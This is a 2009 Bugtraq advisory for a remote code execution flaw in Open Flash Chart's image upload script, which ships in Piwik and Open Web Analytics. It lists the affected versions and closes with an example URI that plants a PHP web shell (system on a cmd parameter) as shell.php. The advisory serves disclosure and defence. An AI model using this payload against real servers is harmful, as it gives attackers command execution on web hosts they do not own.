28 lines
No EOL
944 B
Text
28 lines
No EOL
944 B
Text
Bugtraq ID: 37314
|
|
Class: Input Validation Error
|
|
CVE:
|
|
Remote: Yes
|
|
Local: No
|
|
Published: Dec 14 2009 12:00AM
|
|
Updated: Dec 17 2009 06:03PM
|
|
Credit: Braeden Thomas
|
|
Vulnerable: Piwik Piwik 0.4.3
|
|
Piwik Piwik 0.4.2
|
|
Piwik Piwik 0.4.1
|
|
Piwik Piwik 0.4
|
|
Piwik Piwik 0.2.37
|
|
Piwik Piwik 0.2.36
|
|
Piwik Piwik 0.2.35
|
|
Open Web Analytics Open Web Analytics 1.2.0
|
|
Open Flash Chart Open Flash Chart 2.0
|
|
|
|
|
|
Open Flash Chart is prone to a vulnerability that lets remote attackers execute arbitrary code because the application fails to sanitize user-supplied input.
|
|
|
|
Attackers can exploit this issue to execute arbitrary PHP code within the context of the affected webserver process.
|
|
|
|
Open Flash Chart 2 Beta 1 and Open Flash Chart 2 are vulnerable; other versions may also be affected.
|
|
|
|
The following example URI is available:
|
|
|
|
http://server/libs/open-flash-chart/php-ofc-library/ofc_upload_image.php?name=shell.php&HTTP_RAW_POST_DATA=<?system($_GET['cmd']);?> |